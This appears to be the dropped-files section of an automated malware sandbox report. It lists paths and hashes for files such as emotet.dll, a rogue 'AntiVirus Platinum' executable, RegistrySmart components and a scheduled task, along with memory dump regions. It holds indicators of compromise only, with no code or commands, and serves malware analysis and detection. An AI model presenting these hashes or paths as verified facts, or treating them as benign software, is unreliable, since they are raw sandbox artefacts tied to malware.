C:\Users\Admin\AppData\Local\Temp\emotet.dll

MD5 56bb8500d7ab6860760eddd7a55e9456
SHA1 e9b38c5fb51ce1a038f65c1620115a9bba1e383d
SHA256 b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59
SHA512 83ceff476d071412b02bab0753bd3c4440937b663397d73349fa90c38d96cf88051b645c781cbe5de281aa3bd45e71da7fcc8c99c2846ce29c2f36c3e1307a84

memory/2780-41-0x0000000000F60000-0x00000000010B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\[email protected]

MD5 0002dddba512e20c3f82aaab8bad8b4d
SHA1 493286b108822ba636cc0e53b8259e4f06ecf900
SHA256 2d68fe191ba9e97f57f07f7bd116e53800b983d267da99bf0a6e6624dd7e5cf7
SHA512 497954400ab463eb254abe895648c208a1cc951ecb231202362dadbe3ffb49d8d853b487589ce935c1dc8171f56d0df95093ffc655c684faa944c13bcfd87b8b

memory/2780-50-0x0000000005F50000-0x00000000064F6000-memory.dmp

memory/1696-47-0x0000000000400000-0x0000000000415000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp

MD5 19672882daf21174647509b74a406a8c
SHA1 e3313b8741bd9bbe212fe53fcc55b342af5ae849
SHA256 34e6fea583cf1f995cf24e841da2060e0777405ac228094722f17f2e337ccea8
SHA512 eceddd4f1bbaf84dde72642f022b86033ba5a8b5105c573adcc49946d172e26e2512edce6f99e78dd3a2b0f8a23fa6138cca995a824e5f53a6ba925de434fa8f

memory/3096-42-0x0000000002400000-0x0000000002430000-memory.dmp

C:\Windows\302746537.exe

MD5 8703ff2e53c6fd3bc91294ef9204baca
SHA1 3dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA256 3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
SHA512 d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

memory/2792-86-0x0000000000D30000-0x0000000001774000-memory.dmp

memory/2792-82-0x0000000003BD0000-0x0000000003BD1000-memory.dmp

memory/2792-79-0x0000000001DB0000-0x0000000001DB1000-memory.dmp

memory/2792-80-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

memory/2780-89-0x0000000006BD0000-0x0000000006C20000-memory.dmp

memory/2792-85-0x0000000003C00000-0x0000000003C01000-memory.dmp

memory/2792-84-0x0000000003BF0000-0x0000000003BF1000-memory.dmp

memory/2792-83-0x0000000003BE0000-0x0000000003BE1000-memory.dmp

memory/1968-81-0x0000000000400000-0x0000000000410000-memory.dmp

memory/2780-92-0x0000000006C90000-0x0000000006DDA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DC6.tmp\302746537.bat

MD5 7d8beb22dfcfacbbc2609f88a41c1458
SHA1 52ec2b10489736b963d39a9f84b66bafbf15685f
SHA256 4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2
SHA512 a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

C:\Windows\COMCTL32.OCX

MD5 821511549e2aaf29889c7b812674d59b
SHA1 3b2fd80f634a3d62277e0508bedca9aae0c5a0d6
SHA256 f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4
SHA512 8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

memory/3096-109-0x0000000180000000-0x000000018008C000-memory.dmp

\??\c:\windows\mscomctl.ocx

MD5 714cf24fc19a20ae0dc701b48ded2cf6
SHA1 d904d2fa7639c38ffb6e69f1ef779ca1001b8c18
SHA256 09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712
SHA512 d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

\??\c:\windows\antivirus-platinum.exe

MD5 cd1800322ccfc425014a8394b01a4b3d
SHA1 171073975effde1c712dfd86309457fd457aed33
SHA256 8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0
SHA512 92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

memory/3488-116-0x0000000000400000-0x000000000040D000-memory.dmp

memory/1968-121-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe

MD5 b13f9d8e3d5c88f0ddad896d7fe33a88
SHA1 e6d7dd65a85a4f97baa56ae8eb810918ff4d84fd
SHA256 6d6bd6a03387c3f3900b4b5fc1264c73b362698bf42b668b99d0e9b65f1d7663
SHA512 3319c68b7eebe4fe5d4e385cd91226c827668d87751c5b94a2f1aac24b588e83390a349185fc9d430d1eea2e356fbcaa6543b4a5f8e25d875da7deec30c56164

memory/5056-152-0x0000000000400000-0x00000000004B4000-memory.dmp

memory/1696-153-0x0000000000400000-0x0000000000415000-memory.dmp

C:\Program Files (x86)\RegistrySmart\Launcher.exe

MD5 412a943768c74c06db9955d8cba40ed4
SHA1 e75a8b91bc28187edfb847c46a3d763bdb89b2cf
SHA256 8537ad8b3b76f4852c3402592e7b5b7b6d39f3477e9bc5fbe7d8af3c94d3865c
SHA512 c924dff545961ddcbd4e5ca56af1a6862e5e9f596c1f830edc2c022947cecc5c59ce72f60b7a38c3f3d32503ae349565419daa5164bd2e96d13f19736b17c4b4

C:\Users\Admin\AppData\Roaming\RegistrySmart\Log\log_2024_11_08_17_46_12.log

MD5 d12aa21a1cda9c3d8f5e1d1cfe011ebd
SHA1 fe205a768ed348a95e684b0dd73595f6f947183c
SHA256 903eb651cd2f16ec58e9b8100a331889bf9913674587feeb06f1089ee778e83e
SHA512 bb0225d2bfcf20810629da80811e115a6e8e64f5c2104376cb67e0d1da74f1f8d9f14667b399c483b0f237782bafae45d879ea99d02635b1c7216cff0b33ed0c

C:\Windows\Tasks\RegistrySmart Scheduled Scan.job

MD5 0f85db2455cabf5aa23c52466ffc6bc6
SHA1 cfbfb9abfa3ebdfc603ba99b888dd717686dd26b
SHA256 2cbf258d668ce555615fd6b5d66070f54142e66009c85f986511c4b05d1f2956
SHA512 184902635e5c134284522dfdbb53a17a050200548bbc79128439cd0461642dfeac64859ab410f7aac5d0ee72cb1ae2e11cace53ba46c6994fb2db9e3a7f81144

memory/4152-162-0x0000000000030000-0x0000000000044000-memory.dmp

memory/2196-163-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/3488-164-0x0000000000400000-0x000000000040D000-memory.dmp

memory/2196-165-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-167-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-169-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/3488-170-0x0000000000400000-0x000000000040D000-memory.dmp

memory/2196-173-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-175-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-177-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-179-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-181-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-183-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-185-0x0000000000400000-0x0000000000A06000-memory.dmp

memory/2196-187-0x0000000000400000-0x0000000000A06000-memory.dmp

C:\Users\Admin\Desktop\AntiVirus Platinum.lnk

MD5 2cadd0a7ba11a34fc9ec109220fe5fc2
SHA1 135c2e471fc8b4edfb7d0d77cc02f6514741b6e0
SHA256 7196e81923a8a6bf05a3ae398e71f1ca7000cd05a18253c91b679d986ed9937e
SHA512 5143b225313792556d66fa9d712b349864c461e617cec3d6fe1153f8dceff64755716166c996a06b991b03736c3668c483fe72ef922fcd210c3e1b7c6c5b093c

C:\Users\Admin\Desktop\RegistrySmart.lnk

MD5 5d5dcce689dc938f4b1b3963907bd420
SHA1 7c5404eb8d1dc083fed2c003671fd9b33f2fa645
SHA256 5b9cd6fb5728ae0677e0be92e638adfe1594dc466ba93df183648d87a7b4a7ef
SHA512 55339022f32af2a77f8e3a8bad34ee43deec62403ce81fe3c9095486f191e674596f37a6d6dc4802c06719454ece09652e3b3702c473567fc62d78daf2db4afa

memory/2196-191-0x0000000000400000-0x0000000000A06000-memory.dmp